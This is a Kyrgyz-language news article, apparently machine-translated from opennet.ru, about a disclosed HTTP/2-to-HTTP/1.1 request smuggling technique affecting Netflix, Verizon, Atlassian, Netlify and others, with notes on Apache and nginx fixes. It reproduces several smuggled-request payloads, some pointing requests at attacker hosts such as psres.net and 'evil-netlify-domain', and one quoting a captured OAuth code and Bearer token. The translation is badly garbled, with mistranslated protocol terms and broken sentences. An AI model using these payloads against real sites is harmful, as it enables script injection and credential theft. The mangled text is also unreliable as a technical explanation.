Сурамдарга кирүүгө мүмкүндүк берген алдыңкы системаларга жаңы чабуул

Фронттук жагы HTTP/2 аркылуу байланыштарды кабыл алып, аларды HTTP/1.1 аркылуу бэкендге өткөргөн веб-системалары атайын иштелип чыккан кардар суроо-талаптарын жөнөтүүгө мүмкүндүк берген "HTTP Request Smuggling" чабуулунун жаңы вариантына дуушар болушкан. frontend жана backend ортосунда бирдей агымда иштетилген башка колдонуучулардын суроо-талаптарынын мазмунуна клин. Чабуул зыяндуу JavaScript кодун мыйзамдуу веб-сайт менен сессияга киргизүү, кирүүнү чектөө системаларын айланып өтүү жана аутентификациянын параметрлерин токтотуу үчүн колдонулушу мүмкүн.

Көйгөй веб-проксилерге, жүк баланстоочуларга, веб тездеткичтерге, мазмунду жеткирүү системаларына жана башка конфигурацияларга таасир этет, аларда суроо-талаптар алдыңкы сапта кайра багытталат. Изилдөөнүн автору Netflix, Verizon, Bitbucket, Netlify CDN жана Atlassian системаларына чабуул жасоо мүмкүнчүлүгүн көрсөтүп, аялуу жерлерди аныктоо үчүн сыйлык программаларынан 56 миң доллар алган. Көйгөй F5 Networks өнүмдөрүндө да тастыкталды. Көйгөй жарым-жартылай Apache http сервериндеги mod_proxyге таасирин тийгизет (CVE-2021-33193), оңдоо 2.4.49 версиясында күтүлүүдө (иштеп чыгуучуларга көйгөй тууралуу май айынын башында кабарланган жана аны оңдоо үчүн 3 ай берилген). Nginxте "Мазмун-Узундук" жана "Трансфер-Коддоо" аталыштарын бир эле учурда көрсөтүү мүмкүнчүлүгү акыркы чыгарылышта (1.21.1) бөгөттөлгөн. Чабуул куралдары мурунтан эле Burp куралдар топтомуна киргизилген жана Turbo Intruder кеңейтүүсү түрүндө жеткиликтүү.

Сурамдарды трафикке бириктирүүнүн жаңы ыкмасынын иштөө принциби ошол эле изилдөөчү тарабынан эки жыл мурун аныкталган аялуучулукка окшош, бирок HTTP/1.1 аркылуу суроо-талаптарды кабыл алган фронтондор менен чектелген. Frontend-backend схемасында кардарлардын суроо-талаптары кошумча түйүн - фронт менен кабыл алынарын эске сала кетели, ал сервер менен узак мөөнөттүү TCP байланышын орнотот, ал түздөн-түз суроо-талаптарды иштетет. Бул жалпы байланыш аркылуу ар кандай колдонуучулардын суроо-талаптары, адатта, HTTP протоколунун жардамы менен бөлүнгөн чынжырчанын артынан биринин артынан бири ээрчип жиберилет.

Классикалык "HTTP өтүнүчүнүн контрабандасы" чабуулу "Content-Length" (суроо-талаптагы маалыматтардын жалпы көлөмүн аныктайт) жана "Өткөрүү-коддоо: бөлүкчөлөр" (жол берет) HTTP аталыштарын колдонууну интерпретациялоосуна негизделген. маалыматтар бөлүктөргө бөлүнөт) башкача. . Мисалы, эгер фронтондук "Мазмун узундугун" гана колдосо, бирок "Өткөрүүнү-коддоо: бөлүктөрүн" этибарга албаса, анда чабуулчу "Мазмун-Узундугу" жана "Өткөрүлгөн-коддоо: кесилген" аталыштарын камтыган сурам жөнөтүшү мүмкүн, бирок өлчөмү "Content-Length" кесилген чынжырдын өлчөмүнө дал келбейт. Бул учурда, фронтондук "Content-Length" боюнча суроо-талапты иштеп чыгат жана кайра багыттайт, ал эми бэкэнд "Трансфер-коддоштуруу: кесилген" негизинде блоктун бүтүшүн күтөт жана чабуулчунун өтүнүчүнүн калган куйругу болот башка бирөөнүн өтүнүчүнүн башында болуу кийинки жиберилген.

Саптык деңгээлде талданган HTTP/1.1 текст протоколунан айырмаланып, HTTP/2 экилик протокол болуп саналат жана алдын ала белгиленген өлчөмдөгү маалымат блокторун башкарат. Бирок, HTTP/2 кадимки HTTP баштарына туура келген псевдо-баштарды колдонот. HTTP/1.1 протоколу аркылуу backend менен өз ара аракеттенген учурда, frontend бул псевдо-баштарды окшош HTTP аталыштарына HTTP/1.1 которот. Көйгөй, backend баштапкы сурамдын параметрлери жөнүндө маалыматка ээ болбостон, фронтон тарабынан коюлган HTTP аталыштарынын негизинде агымды талдоо жөнүндө чечим кабыл алуусунда.

Атап айтканда, "контент-length" жана "transfer-encoding" маанилери HTTP/2де колдонулбаганына карабастан, псевдо-башаттар түрүндө берилиши мүмкүн, анткени бардык маалыматтардын өлчөмү аныкталган. өзүнчө талаада. Бирок, HTTP/2 суроо-талабын HTTP/1.1ге айландыруу процессинде, бул аталыштар өткөрүлүп берилет жана арткы тарапты чаташтырат. Чабуулдун эки негизги варианты бар: H2.TE жана H2.CL, мында backend туура эмес которуу-коддоо же мазмун узундугу мааниси аркылуу жаңылыштырылган, ал фронтон аркылуу алынган суроо-талаптын органынын чыныгы өлчөмүнө туура келбейт. HTTP/2 протоколу.

Сурамдарга кирүүгө мүмкүндүк берген алдыңкы системаларга жаңы чабуул

H2.CL чабуулунун мисалы, HTTP/2 сурамын Netflixке жөнөтүүдө мазмун узундугунун псевдо-башында туура эмес өлчөмдү көрсөтүү болуп саналат. Бул сурам HTTP/1.1 аркылуу серверге кирүүдө окшош HTTP аталышынын Content-Length кошулуусуна алып келет, бирок Content-Length өлчөмү иш жүзүндөгүдөн азыраак көрсөтүлгөндүктөн, куйруктагы маалыматтардын бир бөлүгү катары иштетилет. кийинки өтүнүчтүн башталышы.

Мисалы, сураныч HTTP/2 :метод POST :path /n :authority www.netflix.com контент-length 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar

Арткы тарапка суроо-талап жөнөтүлөт: POST /n HTTP/1.1 Хост: www.netflix.com Мазмундун узундугу: 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: бар

Content-Length 4 мааниге ээ болгондуктан, бэкенд суроонун негизги бөлүгү катары "abcd" гана кабыл алат, ал эми калган "GET /n HTTP/1.1..." кийинки суроонун башталышы катары иштетилет башка колдонуучу менен байланышкан. Демек, агым десинхрондолуп калат жана кийинки суроо-талапка жооп катары жасалма суроо-талапты иштетүүнүн натыйжасы чыгарылат. Netflix учурда, жасалма суроо-талаптын "Хост:" аталышында үчүнчү тараптын хостун көрсөтүү, кардар "Жайгашкан жер: https://02.rs?x.netflix.com/n" деген жоопту кайтарып берди жана кардарга каалаган мазмунду жөнөтүүгө, анын ичинде JavaScript кодуңузду Netflix сайтынын контекстинде иштетүүгө уруксат берген.

Экинчи чабуул варианты (H2.TE) "Transfer-Encoding: chunked" аталышын алмаштырууну камтыйт. HTTP/2де которуу-коддоочу псевдо-башчыны колдонууга спецификация менен тыюу салынган жана аны менен болгон суроо-талаптар туура эмес деп эсептелинет. Буга карабастан, кээ бир фронтондук ишке ашыруулар бул талапты эске албайт жана HTTP/2де которуу-коддоочу псевдо-башчыны колдонууга мүмкүндүк берет, ал окшош HTTP аталышына айландырылат. Эгерде "Трансфер-коддоо" аталышы бар болсо, анда бэкэнд аны жогорураак артыкчылык катары кабыл алып, "{өлчөмү}\r\n{блок" форматындагы ар түрдүү өлчөмдөгү блокторду колдонуп, "бөлүнгөн" режимде маалыматтарды бөлүк-бөлүккө талдай алат. }\r\n{size} \r\n{block}\r\n0", жалпы өлчөмү боюнча баштапкы бөлүнүүсүнө карабастан.

Мындай боштуктун болушу Verizon мисалында далилденген. Маселе Huffington Post жана Engadget сыяктуу сайттарда да колдонулган аутентификация порталына жана мазмунду башкаруу системасына тиешелүү. Мисалы, HTTP/2 аркылуу кардардын суроо-талабы: :method POST :path /identitfy/XUI :authority id.b2b.oath.com өткөрүп берүү-коддоо 0 GET /oops HTTP/1.1 Хост: psres.net Мазмун узундугу: 10 x=

Жыйынтыгында серверге HTTP/1.1 сурам жөнөтүлдү: POST /identity/XUI HTTP/1.1 Хост: id.b2b.oath.com Мазмун-узундугу: 66 Өткөрмө-коддоо: chunked 0 GET /oops HTTP/1.1 Хост: psres. таза Мазмун- Узундугу: 10x =

Backend, өз кезегинде, "Content-Length" аталышын этибарга албай, "Трансфер-коддоо: бөлүктөргө" негизделген агымдагы бөлүүнү аткарды. Иш жүзүндө, чабуул колдонуучунун суроо-талаптарын веб-сайтына багыттоого, анын ичинде параметрлери Referer темасында көрсөтүлгөн OAuth аутентификациясына тиешелүү суроо-талаптарды кармоого, ошондой эле аутентификация сеансын имитациялоого жана колдонуучунун тутумун эсептик дайындарды жөнөтүүгө түрткү берүүгө мүмкүндүк берди. кол салуучунун ээсине. GET /b2blanding/show/oops HTTP/1.1 Хост: psres.net Реферер: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Хост: psres.net Авторизациясы: Алуучу eyJhcGwiOiJIUzI1sInk…c

Өткөрүүнү коддоочу псевдо-башты көрсөтүүгө жол бербеген HTTP/2 ишке ашырууларына чабуул коюу үчүн, башка ыкма сунушталды, ал "Трансфер-коддоо" аталышын жаңы сап белгиси менен бөлүнгөн башка псевдо-башаттарга тиркөө менен алмаштырууну камтыган ( HTTP/1.1ге айландырылганда, бул учурда эки өзүнчө HTTP аталышын түзөт).

Мисалы, Atlassian Jira жана Netlify CDN (Firefox'та Mozilla башталгыч бетине кызмат кылуу үчүн колдонулган) бул көйгөйгө дуушар болгон. Тактап айтканда, HTTP/2 сурамы :method POST :path / :authority start.mozilla.org foo b\r\n өткөрүп берүү-коддоо: 0\r\n \r\n GET / HTTP/1.1\r\n Хост : evil-netlify-domain\r\n Мазмундун узундугу: 5\r\n \r\nx=

натыйжада HTTP/1.1 POST / HTTP/1.1 сурамы серверге жөнөтүлдү\r\n Хост: start.mozilla.org\r\n Foo: b\r\n Өткөрмө-коддоо: кесилген\r\n Мазмун узундугу : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Хост: evil-netlify-domain\r\n Мазмундун узундугу: 5\r\n \r \nx=

"Трансфер-коддоо" аталышын алмаштыруунун дагы бир варианты аны башка псевдо-башынын атына же суроо ыкмасы менен сапка тиркөө болгон. Мисалы, Atlassian Jiraга кирүүдө, "foo: bar\r\ntransfer-encoding" деген псевдо-баш аты "chunked" мааниси менен HTTP аталыштары "foo: bar" жана "transfer-encoding: chunked" кошулган. , жана "GET / HTTP/1.1\r\nTransfer-encoding: chunked" псевдо-башчысы ":метод" маанисин көрсөтүү "GET / HTTP/1.1\r\nөткөрүү-коддоо: кесилген" деп которулду.

Көйгөйдү аныктаган изилдөөчү ошондой эле фронтондорго чабуул коюу үчүн суроо-талап туннелдөө ыкмасын сунуштады, мында ар бир IP дареги бэкендке өзүнчө байланышты орнотот жана ар кандай колдонуучулардын трафиги аралашпайт. Сунушталган техника башка колдонуучулардын суроо-талаптарына кийлигишүүгө жол бербейт, бирок башка суроо-талаптарды иштетүүгө таасир этүүчү жалпы кэшти ууландырууга мүмкүндүк берет жана тейлөө маалыматын фронтондон бэкэндге өткөрүү үчүн колдонулган ички HTTP аталыштарын алмаштырууга мүмкүндүк берет ( мисалы, фронт тарабында аутентификациялоодо Мындай баштар учурдагы колдонуучу жөнүндө маалыматты backendге өткөрүп бере алат). Методду практикада колдонуунун мисалы катары кэш ууланууну колдонуу менен Bitbucket кызматындагы барактарды көзөмөлдөөгө мүмкүн болду.

Source: opennet.ru

Комментарий кошуу